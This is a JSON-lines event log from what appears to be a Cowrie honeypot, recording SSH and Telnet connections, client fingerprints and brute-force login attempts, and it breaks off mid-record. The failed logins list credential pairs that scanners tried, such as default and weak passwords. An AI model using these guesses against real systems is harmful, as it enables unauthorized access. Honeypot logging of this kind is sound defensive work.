{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:03:44.240566Z","src_ip":"103.106.188.32","session":"af8065d5a5eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:03:45.086651Z","src_ip":"109.91.4.177","session":"b1b7794a3caf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":9.518646001815796,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:03:45.325012Z","src_ip":"20.123.41.163","session":"2fd991ce44b5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.252.223","src_port":49632,"dst_ip":"10.17.0.5","dst_port":22,"session":"545047c99a99","protocol":"ssh","message":"New connection: 103.149.252.223:49632 (10.17.0.5:22) [session: 545047c99a99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:03:47.338074Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:03:47.343497Z","src_ip":"103.149.252.223","session":"545047c99a99","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:03:47.347664Z","src_ip":"103.149.252.223","session":"545047c99a99","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.48.213.208","src_port":21105,"dst_ip":"10.17.0.5","dst_port":22,"session":"a433738ddf3e","protocol":"ssh","message":"New connection: 185.48.213.208:21105 (10.17.0.5:22) [session: a433738ddf3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:03:51.825288Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:03:51.829845Z","src_ip":"185.48.213.208","session":"a433738ddf3e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:03:51.950224Z","src_ip":"185.48.213.208","session":"a433738ddf3e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"p4sswOrd","message":"login attempt [ubuntu/p4sswOrd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:03:52.465181Z","src_ip":"185.48.213.208","session":"a433738ddf3e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:03:53.589403Z","src_ip":"185.48.213.208","session":"a433738ddf3e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.146.202.174","src_port":45820,"dst_ip":"10.17.0.5","dst_port":22,"session":"e825ed0e2524","protocol":"ssh","message":"New connection: 103.146.202.174:45820 (10.17.0.5:22) [session: e825ed0e2524]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:03:59.310392Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:03:59.314997Z","src_ip":"103.146.202.174","session":"e825ed0e2524","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:03:59.558953Z","src_ip":"103.146.202.174","session":"e825ed0e2524","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.177.241.161","src_port":4251,"dst_ip":"10.17.0.5","dst_port":23,"session":"5c888efb3bb4","protocol":"telnet","message":"New connection: 45.177.241.161:4251 (10.17.0.5:23) [session: 5c888efb3bb4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:03:59.741309Z"}
{"eventid":"cowrie.login.failed","username":"tf2server","password":"tf2","message":"login attempt [tf2server/tf2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:04:00.569559Z","src_ip":"103.146.202.174","session":"e825ed0e2524","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:04:01.817858Z","src_ip":"103.146.202.174","session":"e825ed0e2524","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":38666,"dst_ip":"10.17.0.5","dst_port":23,"session":"6e4319844e9d","protocol":"telnet","message":"New connection: 20.123.41.163:38666 (10.17.0.5:23) [session: 6e4319844e9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:04:03.602853Z"}
{"eventid":"cowrie.session.closed","duration":5.01291561126709,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:04:08.615575Z","src_ip":"20.123.41.163","session":"6e4319844e9d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.168568849563599,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:04:13.909753Z","src_ip":"45.177.241.161","session":"5c888efb3bb4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00774955749512,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:04:20.307043Z","src_ip":"37.52.61.49","session":"07baaed5dc7f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":45200,"dst_ip":"10.17.0.5","dst_port":23,"session":"88a98e78676f","protocol":"telnet","message":"New connection: 20.123.41.163:45200 (10.17.0.5:23) [session: 88a98e78676f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:04:25.707232Z"}
{"eventid":"cowrie.session.closed","duration":120.00197219848633,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:04:26.857399Z","src_ip":"64.41.88.162","session":"05ebdb65ca72","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.0348405838012695,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:04:28.741939Z","src_ip":"20.123.41.163","session":"88a98e78676f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.157","src_port":41176,"dst_ip":"159.203.135.109","dst_port":22,"session":"c0a00ab87948","protocol":"ssh","message":"New connection: 45.148.10.157:41176 (159.203.135.109:22) [session: c0a00ab87948]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:04:33.916290Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PUTTY","message":"Remote SSH version: SSH-2.0-PUTTY","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:04:33.920959Z","src_ip":"45.148.10.157","session":"c0a00ab87948","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"5bd26477da5440a6187bd3f1b39a429c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 5bd26477da5440a6187bd3f1b39a429c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:04:34.004287Z","src_ip":"45.148.10.157","session":"c0a00ab87948","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:04:34.367920Z","src_ip":"45.148.10.157","session":"c0a00ab87948","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.91.4.177","src_port":62237,"dst_ip":"10.17.0.5","dst_port":22,"session":"2e6ef61133d3","protocol":"ssh","message":"New connection: 109.91.4.177:62237 (10.17.0.5:22) [session: 2e6ef61133d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:04:38.454288Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:04:38.472316Z","src_ip":"109.91.4.177","session":"2e6ef61133d3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:04:38.574244Z","src_ip":"109.91.4.177","session":"2e6ef61133d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"a123456789","message":"login attempt [ubuntu/a123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:04:39.442211Z","src_ip":"109.91.4.177","session":"2e6ef61133d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:04:40.550540Z","src_ip":"109.91.4.177","session":"2e6ef61133d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.106.188.32","src_port":58710,"dst_ip":"10.17.0.5","dst_port":22,"session":"0cc8e33f2c25","protocol":"ssh","message":"New connection: 103.106.188.32:58710 (10.17.0.5:22) [session: 0cc8e33f2c25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:04:42.613849Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:04:42.619250Z","src_ip":"103.106.188.32","session":"0cc8e33f2c25","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.248.120.6","src_port":57326,"dst_ip":"10.17.0.5","dst_port":22,"session":"32549b513e07","protocol":"ssh","message":"New connection: 103.248.120.6:57326 (10.17.0.5:22) [session: 32549b513e07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:04:43.649751Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:04:43.652865Z","src_ip":"103.248.120.6","session":"32549b513e07","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:04:43.868199Z","src_ip":"103.248.120.6","session":"32549b513e07","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser1","password":"test","message":"login attempt [ftpuser1/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:04:44.763230Z","src_ip":"103.248.120.6","session":"32549b513e07","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.99.189.177","src_port":54056,"dst_ip":"10.17.0.5","dst_port":22,"session":"e4188c4eded2","protocol":"ssh","message":"New connection: 209.99.189.177:54056 (10.17.0.5:22) [session: e4188c4eded2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:04:45.099729Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:04:45.104457Z","src_ip":"209.99.189.177","session":"e4188c4eded2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:04:45.237142Z","src_ip":"209.99.189.177","session":"e4188c4eded2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo","password":"1234","message":"login attempt [odoo/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:04:45.785254Z","src_ip":"209.99.189.177","session":"e4188c4eded2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:04:45.981778Z","src_ip":"103.248.120.6","session":"32549b513e07","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:04:46.916873Z","src_ip":"209.99.189.177","session":"e4188c4eded2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.8","message":"Connection lost after 5.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:04:48.414057Z","src_ip":"103.106.188.32","session":"0cc8e33f2c25","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":41746,"dst_ip":"10.17.0.5","dst_port":23,"session":"0d7b981783d5","protocol":"telnet","message":"New connection: 20.123.41.163:41746 (10.17.0.5:23) [session: 0d7b981783d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:04:52.485540Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.146.202.174","src_port":34324,"dst_ip":"10.17.0.5","dst_port":22,"session":"cb2f01533583","protocol":"ssh","message":"New connection: 103.146.202.174:34324 (10.17.0.5:22) [session: cb2f01533583]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:04:57.557851Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:04:57.562626Z","src_ip":"103.146.202.174","session":"cb2f01533583","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac